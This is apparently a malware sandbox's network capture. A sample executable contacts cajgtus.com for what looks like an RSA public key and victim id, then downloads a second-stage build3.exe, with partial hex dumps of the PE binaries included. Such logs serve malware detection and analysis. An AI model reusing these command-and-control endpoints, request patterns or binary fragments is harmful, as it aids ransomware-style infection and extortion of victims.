Apr 24, 2024 10:27:10.513901949 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 08:27:10 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 10:27:10.513964891 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 10:27:10.825495958 CEST	1289	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 10:27:10.825576067 CEST	1289	IN	Data Raw: 44 53 f7 65 ec 8b 45 ec 81 6d fc f0 06 bd 57 81 6d cc f5 90 30 07 81 6d dc 7b e3 2f 6b 33 ff 81 3d f0 24 a0 01 00 04 00 00 75 57 57 57 57 ff 15 94 00 41 00 57 57 57 57 ff 15 60 00 41 00 57 ff 15 4c 00 41 00 57 57 57 57 ff 15 70 00 41 00 57 57 57 Data Ascii: DSeEmWm0m{/k3=$uWWWWAWWWW`AWLAWWWWpAWWWWAWW"WW"WWA8q Fr\|WtA{+F\|\|AW<AW8AX~}5EzuFT\|tA$h
Apr 24, 2024 10:27:10.827002048 CEST	1289	IN	Data Raw: 45 fc 02 50 e8 54 fd ff ff 8b c8 e8 98 00 00 00 89 45 e8 b8 37 1f 40 00 c3 83 4d fc ff 8b 7d e4 8b 75 e0 8b 5d e8 83 7d 0c 00 76 14 ff 75 0c 8b cf e8 07 ff ff ff 50 53 e8 aa f1 ff ff 83 c4 0c 6a 00 6a 01 8b cf e8 a3 fc ff ff 8d 45 e8 8b cf 50 57 Data Ascii: EPTE7@M}u]}vuPSjjEPWEPluwM_^d[]Mjj`jjH"UuY]U]UM.]UVM/UP'^]3
Apr 24, 2024 10:27:10.827513933 CEST	1289	IN	Data Raw: 6f 0e 83 e9 10 8d 76 10 66 0f 7f 0f 8d 7f 10 eb e8 0f ba e1 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e1 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 8b 04 8d 98 25 40 00 ff e0 f7 c7 03 00 00 00 75 15 c1 e9 02 83 e2 03 Data Ascii: ovfsvs~vf%@ur*$%@r$$@$%@$,%@$@$@%@#FGFGr$%@I#FGr$%@#
Apr 24, 2024 10:27:11.132343054 CEST	1289	IN	Data Raw: ec 2c a1 a4 87 41 00 33 c5 89 45 fc 8b 45 08 8d 4d d4 53 56 8b 75 0c 57 ff 75 10 89 45 ec 8b 45 14 89 45 e4 e8 4b ff ff ff 8d 45 d4 33 ff 50 57 57 57 57 56 8d 45 e8 50 8d 45 f0 50 e8 f3 29 00 00 8b d8 83 c4 20 8b 45 e4 85 c0 74 05 8b 4d e8 89 08 Data Ascii: ,A3EEMSVuWuEEEKE3PWWWWVEPEP) EtMuEPd$YYutujutj_}tMapM_^3["]U(A3ESVuMWu}E3PSSSSVEPEPX)EEWPg(E
Apr 24, 2024 10:27:11.132380962 CEST	1289	IN	Data Raw: 2e 40 00 23 d1 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 c1 e9 02 88 47 02 83 c6 03 83 c7 03 83 f9 08 72 cc f3 a5 ff 24 95 18 2f 40 00 8d 49 00 23 d1 8a 06 88 07 8a 46 01 c1 e9 02 88 47 01 83 c6 02 83 c7 02 83 f9 08 72 a6 f3 a5 ff 24 95 18 2f 40 00 Data Ascii: .@#FGFGr$/@I#FGr$/@#r$/@I/@.@.@.@.@.@.@.@DDDDDDDDDDDDDD$/@(/@0/@</@P/@D$
Apr 24, 2024 10:27:11.132401943 CEST	1289	IN	Data Raw: 85 47 3c 00 00 ba 12 00 00 00 8d 0d 00 80 41 00 e8 40 3d 00 00 5a c3 55 8b ec 83 7d 08 00 74 2d ff 75 08 6a 00 ff 35 b4 b5 43 00 ff 15 b0 00 41 00 85 c0 75 18 56 e8 a7 36 00 00 8b f0 ff 15 ac 00 41 00 50 e8 ac 36 00 00 59 89 06 5e 5d c3 cc cc cc Data Ascii: G<A@=ZU}t-uj5CAuV6AP6Y^]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+W\|$
Apr 24, 2024 10:27:11.132422924 CEST	1289	IN	Data Raw: 5e 01 00 00 8d 8d fc ef ff ff 85 ff 74 33 8b d1 03 d0 4f 3b ca 73 2a 8a 01 3c 0d 75 13 8d 42 ff 3b c8 73 18 8d 41 01 80 38 0a 75 10 8b c8 eb 0c 0f b6 c0 0f be 80 f0 8c 41 00 03 c8 41 85 ff 75 d1 8d 85 fc ef ff ff 2b f0 8d 04 31 e9 72 01 00 00 8b Data Ascii: ^t3O;s*<uB;sA8uAAu+1rCDt:uGB;ru .u619Xu+ppjC[D
Apr 24, 2024 10:27:11.133662939 CEST	1289	IN	Data Raw: 08 e8 c1 ff ff ff 59 ff 75 08 ff 15 c0 00 41 00 cc 55 8b ec e8 bc 53 00 00 ff 75 08 e8 11 54 00 00 59 68 ff 00 00 00 e8 a3 00 00 00 cc 6a 01 6a 01 6a 00 e8 4d 01 00 00 83 c4 0c c3 6a 01 6a 00 6a 00 e8 3e 01 00 00 83 c4 0c c3 55 8b ec 83 3d b0 10 Data Ascii: YuAUSuTYhjjjMjjj>U=AthAUYtuAYVhAhAYYuCh@k$AhAv=5YYth5UYtjjj53]Ujju]VjAVW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	189.232.19.193	80	7396	C:\Users\user\Desktop\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 10:27:10.198851109 CEST	139	OUT	GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 10:27:10.787317038 CEST	765	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 08:27:29 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 74 72 6f 79 56 69 46 43 6a 30 45 73 52 30 70 41 75 56 65 63 5c 5c 6e 53 77 67 78 4c 6e 7a 33 49 65 68 57 5c 2f 6f 30 79 47 53 6e 4d 50 61 67 38 4e 72 62 36 78 67 66 56 50 63 63 32 64 71 51 57 4a 75 4f 37 77 6f 45 69 48 47 67 68 4b 37 5a 31 46 32 53 4f 78 7a 5c 2f 70 5c 5c 6e 49 75 35 70 61 31 54 7a 32 5c 2f 35 57 6e 68 64 4a 72 49 70 38 76 61 6e 47 4c 51 55 58 31 72 6d 63 6b 68 4e 68 55 39 55 65 58 67 41 75 68 71 54 49 37 76 38 36 36 77 6f 6d 6c 5c 2f 71 30 36 64 48 78 5c 5c 6e 7a 39 30 69 68 74 69 32 35 2b 2b 77 44 58 5a 71 4b 55 6d 39 56 74 4d 66 2b 63 31 72 76 75 66 41 4c 43 54 64 65 69 49 41 49 70 45 42 4c 5a 64 4d 41 4b 4b 42 64 43 43 67 54 67 74 31 44 42 68 4b 5c 5c 6e 55 37 4f 6a 45 54 46 59 4a 54 47 31 42 37 77 37 78 78 6c 66 30 7a 37 72 34 2b 66 67 62 36 38 64 70 33 76 6f 35 57 48 76 63 66 6f 42 77 5c 2f 54 4c 42 6a 44 37 54 38 78 54 5a 5c 2f 43 6e 39 6a 30 62 5c 5c 6e 5c 2f 56 77 48 47 62 64 4a 55 4f 44 50 72 4f 6e 51 31 72 73 34 67 4f 4f 70 7a 39 58 50 75 4d 55 6e 71 45 6f 6d 4a 63 51 70 49 37 34 41 6b 33 2b 6c 67 70 70 30 34 42 79 6f 77 49 55 62 46 43 56 35 5c 5c 6e 41 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 69 74 6b 6d 37 4d 4f 73 4f 6c 56 51 6b 62 45 51 68 57 43 56 45 57 6f 4d 79 47 46 68 56 6a 67 45 64 70 4e 6c 67 66 69 7a 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	189.232.19.193	80	7488	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 10:27:10.198898077 CEST	128	OUT	GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 10:27:10.777081013 CEST	765	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 08:27:29 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 74 72 6f 79 56 69 46 43 6a 30 45 73 52 30 70 41 75 56 65 63 5c 5c 6e 53 77 67 78 4c 6e 7a 33 49 65 68 57 5c 2f 6f 30 79 47 53 6e 4d 50 61 67 38 4e 72 62 36 78 67 66 56 50 63 63 32 64 71 51 57 4a 75 4f 37 77 6f 45 69 48 47 67 68 4b 37 5a 31 46 32 53 4f 78 7a 5c 2f 70 5c 5c 6e 49 75 35 70 61 31 54 7a 32 5c 2f 35 57 6e 68 64 4a 72 49 70 38 76 61 6e 47 4c 51 55 58 31 72 6d 63 6b 68 4e 68 55 39 55 65 58 67 41 75 68 71 54 49 37 76 38 36 36 77 6f 6d 6c 5c 2f 71 30 36 64 48 78 5c 5c 6e 7a 39 30 69 68 74 69 32 35 2b 2b 77 44 58 5a 71 4b 55 6d 39 56 74 4d 66 2b 63 31 72 76 75 66 41 4c 43 54 64 65 69 49 41 49 70 45 42 4c 5a 64 4d 41 4b 4b 42 64 43 43 67 54 67 74 31 44 42 68 4b 5c 5c 6e 55 37 4f 6a 45 54 46 59 4a 54 47 31 42 37 77 37 78 78 6c 66 30 7a 37 72 34 2b 66 67 62 36 38 64 70 33 76 6f 35 57 48 76 63 66 6f 42 77 5c 2f 54 4c 42 6a 44 37 54 38 78 54 5a 5c 2f 43 6e 39 6a 30 62 5c 5c 6e 5c 2f 56 77 48 47 62 64 4a 55 4f 44 50 72 4f 6e 51 31 72 73 34 67 4f 4f 70 7a 39 58 50 75 4d 55 6e 71 45 6f 6d 4a 63 51 70 49 37 34 41 6b 33 2b 6c 67 70 70 30 34 42 79 6f 77 49 55 62 46 43 56 35 5c 5c 6e 41 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 69 74 6b 6d 37 4d 4f 73 4f 6c 56 51 6b 62 45 51 68 57 43 56 45 57 6f 4d 79 47 46 68 56 6a 67 45 64 70 4e 6c 67 66 69 7a 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	189.232.19.193	80	7396	C:\Users\user\Desktop\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 10:27:13.117598057 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 10:27:13.865952969 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 08:27:32 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 24, 2024 10:27:13.866007090 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 10:27:13.866045952 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 10:27:13.866086006 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 24, 2024 10:27:14.069971085 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 24, 2024 10:27:14.070002079 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
Apr 24, 2024 10:27:14.070024014 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 24, 2024 10:27:14.070041895 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 24, 2024 10:27:14.070151091 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
